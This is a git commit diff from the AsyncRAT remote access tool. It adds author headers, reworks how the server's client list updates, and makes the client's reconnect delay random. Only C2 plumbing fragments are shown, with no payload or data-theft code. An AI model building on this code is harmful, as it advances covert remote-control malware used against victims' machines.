This commit is contained in:
NYAN CAT 2019-01-24 10:57:36 -08:00
parent 23539823ef
commit 2423f34a17
4 changed files with 32 additions and 14 deletions

View File

@ -6,6 +6,13 @@ using System.Threading.Tasks;
using Microsoft.VisualBasic;
using System.Linq;
// │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple Socket
// Contact Me : https://github.com/NYAN-x-CAT
// This program Is distributed for educational purposes only.
namespace AsyncRAT_Sharp
{
public partial class Form1 : Form

View File

@ -8,7 +8,6 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
class HandlePacket
{
public delegate void UpdateForm1Delegatevoid(Clients client, byte[] data);
public static void Read(Clients client, byte[] data)
{
try
@ -20,9 +19,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
case "ClientInfo":
if (Program.form1.listView1.InvokeRequired)
{
Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data });
}
else
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
client.LV = new ListViewItem();
client.LV.Tag = client;
@ -30,6 +27,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Program.form1.listView1.Items.Insert(0, client.LV);
}));
}
break;

View File

@ -95,16 +95,16 @@ namespace AsyncRAT_Sharp.Sockets
}
}
delegate void _isDisconnected();
public void Disconnected()
{
if (LV != null)
{
if (Program.form1.listView1.InvokeRequired)
Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected));
else
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
LV.Remove();
}));
}
}
Settings.Online.Remove(this);

View File

@ -2,12 +2,20 @@
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.Devices;
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading;
// │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple Socket
// Contact Me : https://github.com/NYAN-x-CAT
// This program Is distributed for educational purposes only.
namespace Client
{
class Program
@ -24,7 +32,7 @@ namespace Client
InitializeClient();
while (true)
{
Thread.Sleep(1500);
Thread.Sleep(1000);
}
}
@ -51,7 +59,12 @@ namespace Client
catch
{
Console.WriteLine("Disconnected!");
Thread.Sleep(2500);
Thread.Sleep(new Random().Next(5000));
try
{
client.Dispose();
}
catch { }
InitializeClient();
}
}